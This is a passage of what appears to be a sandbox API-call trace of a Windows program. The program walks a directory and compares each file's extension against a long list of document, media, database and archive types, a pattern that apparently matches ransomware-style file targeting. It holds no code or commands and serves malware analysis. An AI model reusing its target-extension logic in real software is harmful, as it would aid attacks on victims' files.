[0086.065] lstrlenW (lpString=".der") returned 4 [0086.065] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".dib") returned 4 [0086.065] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".dic") returned 4 [0086.065] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".dif") returned 4 [0086.065] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0086.065] lstrlenW (lpString=".divx") returned 5 [0086.065] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0086.066] lstrlenW (lpString=".djvu") returned 5 [0086.066] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0086.066] lstrlenW (lpString=".dng") returned 4 [0086.066] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0086.066] lstrlenW (lpString=".doc") returned 4 [0086.066] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.066] lstrlenW (lpString=".docm") returned 5 [0086.066] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0086.066] lstrlenW (lpString=".docx") returned 5 [0086.066] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.066] lstrlenW (lpString=".dot") returned 4 [0086.066] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0086.066] lstrlenW (lpString=".dotm") returned 5 [0086.066] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0086.066] lstrlenW (lpString=".dotx") returned 5 [0086.774] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0086.774] lstrlenW (lpString=".dpx") returned 4 [0086.774] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0086.774] lstrlenW (lpString=".dqy") returned 4 [0086.774] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0086.774] lstrlenW (lpString=".dsn") returned 4 [0086.774] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".dt") returned 3 [0086.775] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0086.775] lstrlenW (lpString=".dtd") returned 4 [0086.775] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".dwg") returned 4 [0086.775] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".dwt") returned 4 [0086.775] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".dx") returned 3 [0086.775] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0086.775] lstrlenW (lpString=".dxf") returned 4 [0086.775] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".edml") returned 5 [0086.775] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0086.775] lstrlenW (lpString=".efd") returned 4 [0086.775] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".elf") returned 4 [0086.775] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".emf") returned 4 [0086.775] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".emz") returned 4 [0086.775] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".epf") returned 4 [0086.775] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".eps") returned 4 [0086.775] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0086.775] lstrlenW (lpString=".epsf") returned 5 [0086.775] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0086.775] lstrlenW (lpString=".epsp") returned 5 [0086.775] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0086.775] lstrlenW (lpString=".erf") returned 4 [0086.776] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".exr") returned 4 [0086.776] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".f4v") returned 4 [0086.776] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".fido") returned 5 [0086.776] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0086.776] lstrlenW (lpString=".flm") returned 4 [0086.776] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".flv") returned 4 [0086.776] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".frm") returned 4 [0086.776] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".fxg") returned 4 [0086.776] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".geo") returned 4 [0086.776] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".gif") returned 4 [0086.776] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".grs") returned 4 [0086.776] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".gz") returned 3 [0086.776] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0086.776] lstrlenW (lpString=".h") returned 2 [0086.776] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0086.776] lstrlenW (lpString=".hdr") returned 4 [0086.776] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".hpp") returned 4 [0086.776] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".hta") returned 4 [0086.776] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0086.776] lstrlenW (lpString=".htc") returned 4 [0086.777] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".htm") returned 4 [0086.777] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".html") returned 5 [0086.777] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0086.777] lstrlenW (lpString=".icb") returned 4 [0086.777] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".ics") returned 4 [0086.777] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".iff") returned 4 [0086.777] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".inc") returned 4 [0086.777] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".indd") returned 5 [0086.777] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0086.777] lstrlenW (lpString=".ini") returned 4 [0086.777] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".iqy") returned 4 [0086.777] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".j2c") returned 4 [0086.777] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".j2k") returned 4 [0086.777] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".java") returned 5 [0086.777] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0086.777] lstrlenW (lpString=".jp2") returned 4 [0086.777] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0086.777] lstrlenW (lpString=".jpc") returned 4 [0086.778] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".jpe") returned 4 [0086.778] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".jpeg") returned 5 [0086.778] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0086.778] lstrlenW (lpString=".jpf") returned 4 [0086.778] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".jpg") returned 4 [0086.778] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".jpx") returned 4 [0086.778] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".js") returned 3 [0086.778] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0086.778] lstrlenW (lpString=".jsf") returned 4 [0086.778] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".json") returned 5 [0086.778] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0086.778] lstrlenW (lpString=".jsp") returned 4 [0086.778] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".kdc") returned 4 [0086.778] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0086.778] lstrlenW (lpString=".kmz") returned 4 [0086.779] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".kwm") returned 4 [0086.779] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".lasso") returned 6 [0086.779] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0086.779] lstrlenW (lpString=".lbi") returned 4 [0086.779] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".lgf") returned 4 [0086.779] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".lgp") returned 4 [0086.779] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".log") returned 4 [0086.779] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".m1v") returned 4 [0086.779] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".m4a") returned 4 [0086.779] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".m4v") returned 4 [0086.779] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".max") returned 4 [0086.779] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".md") returned 3 [0086.779] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0086.779] lstrlenW (lpString=".mda") returned 4 [0086.779] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".mdb") returned 4 [0086.779] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".mde") returned 4 [0086.779] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0086.779] lstrlenW (lpString=".mdf") returned 4 [0086.780] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mdw") returned 4 [0086.780] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mef") returned 4 [0086.780] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mft") returned 4 [0086.780] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mfw") returned 4 [0086.780] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mht") returned 4 [0086.780] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mhtml") returned 6 [0086.780] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0086.780] lstrlenW (lpString=".mka") returned 4 [0086.780] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mkidx") returned 6 [0086.780] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0086.780] lstrlenW (lpString=".mkv") returned 4 [0086.780] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mos") returned 4 [0086.780] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mov") returned 4 [0086.780] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mp3") returned 4 [0086.780] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mp4") returned 4 [0086.780] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0086.780] lstrlenW (lpString=".mpeg") returned 5 [0086.780] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0086.780] lstrlenW (lpString=".mpg") returned 4 [0086.781] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".mpv") returned 4 [0086.781] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".mrw") returned 4 [0086.781] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".msg") returned 4 [0086.781] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".mxl") returned 4 [0086.781] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".myd") returned 4 [0086.781] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".myi") returned 4 [0086.781] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".nef") returned 4 [0086.781] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".nrw") returned 4 [0086.781] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".obj") returned 4 [0086.781] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".odb") returned 4 [0086.781] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".odc") returned 4 [0086.781] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".odm") returned 4 [0086.781] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".odp") returned 4 [0086.781] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0086.781] lstrlenW (lpString=".ods") returned 4 [0086.781] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".oft") returned 4 [0086.782] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".one") returned 4 [0086.782] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".onepkg") returned 7 [0086.782] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0086.782] lstrlenW (lpString=".onetoc2") returned 8 [0086.782] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0086.782] lstrlenW (lpString=".opt") returned 4 [0086.782] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".oqy") returned 4 [0086.782] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".orf") returned 4 [0086.782] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".p12") returned 4 [0086.782] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".p7b") returned 4 [0086.782] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".p7c") returned 4 [0086.782] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".pam") returned 4 [0086.782] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".pbm") returned 4 [0086.782] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".pct") returned 4 [0086.782] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".pcx") returned 4 [0086.782] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".pdd") returned 4 [0086.782] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0086.782] lstrlenW (lpString=".pdf") returned 4 [0086.783] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".pdp") returned 4 [0086.783] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".pef") returned 4 [0086.783] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".pem") returned 4 [0086.783] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".pff") returned 4 [0086.783] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".pfm") returned 4 [0086.783] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".pfx") returned 4 [0086.783] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".pgm") returned 4 [0086.783] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".php") returned 4 [0086.783] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0086.783] lstrlenW (lpString=".php3") returned 5 [0086.783] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0086.783] lstrlenW (lpString=".php4") returned 5 [0086.783] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0086.783] lstrlenW (lpString=".php5") returned 5 [0086.783] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0086.783] lstrlenW (lpString=".phtml") returned 6 [0086.783] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0086.783] lstrlenW (lpString=".pict") returned 5 [0086.783] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0086.783] lstrlenW (lpString=".pl") returned 3 [0086.783] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0086.783] lstrlenW (lpString=".pls") returned 4 [0086.784] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".pm") returned 3 [0086.784] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0086.784] lstrlenW (lpString=".png") returned 4 [0086.784] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".pnm") returned 4 [0086.784] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".pot") returned 4 [0086.784] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".potm") returned 5 [0086.784] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0086.784] lstrlenW (lpString=".potx") returned 5 [0086.784] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0086.784] lstrlenW (lpString=".ppa") returned 4 [0086.784] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".ppam") returned 5 [0086.784] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0086.784] lstrlenW (lpString=".ppm") returned 4 [0086.784] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".pps") returned 4 [0086.784] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".ppsm") returned 5 [0086.784] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0086.784] lstrlenW (lpString=".ppt") returned 4 [0086.784] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.784] lstrlenW (lpString=".pptm") returned 5 [0086.784] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0086.784] lstrlenW (lpString=".pptx") returned 5 [0086.784] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0086.785] lstrlenW (lpString=".prn") returned 4 [0086.785] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".ps") returned 3 [0086.785] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0086.785] lstrlenW (lpString=".psb") returned 4 [0086.785] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".psd") returned 4 [0086.785] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".pst") returned 4 [0086.785] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".ptx") returned 4 [0086.785] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".pub") returned 4 [0086.785] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".pwm") returned 4 [0086.785] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".pxr") returned 4 [0086.785] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".py") returned 3 [0086.785] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0086.785] lstrlenW (lpString=".qt") returned 3 [0086.785] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0086.785] lstrlenW (lpString=".r3d") returned 4 [0086.785] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".raf") returned 4 [0086.785] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0086.785] lstrlenW (lpString=".rar") returned 4 [0086.785] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.786] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0086.786] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0086.786] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0086.787] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0086.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082") returned 26 [0086.787] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0086.787] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.787] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0086.787] lstrlenW (lpString="eula.rtf") returned 8 [0086.787] lstrlenW (lpString=".1cd") returned 4 [0086.787] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.787] lstrlenW (lpString=".3ds") returned 4 [0086.787] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0086.787] lstrlenW (lpString=".3fr") returned 4 [0086.787] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0086.787] lstrlenW (lpString=".3g2") returned 4 [0086.788] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0086.788] lstrlenW (lpString=".3gp") returned 4 [0086.788] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0086.788] lstrlenW (lpString=".7z") returned 3 [0086.788] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.788] lstrlenW (lpString=".accda") returned 6 [0086.788] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0086.788] lstrlenW (lpString=".accdb") returned 6 [0086.788] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0086.788] lstrlenW (lpString=".accdc") returned 6 [0086.788] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0086.788] lstrlenW (lpString=".accde") returned 6 [0086.788] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0086.788] lstrlenW (lpString=".accdt") returned 6 [0086.788] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0086.789] lstrlenW (lpString=".accdw") returned 6 [0086.789] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0086.789] lstrlenW (lpString=".adb") returned 4 [0086.789] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0086.789] lstrlenW (lpString=".adp") returned 4 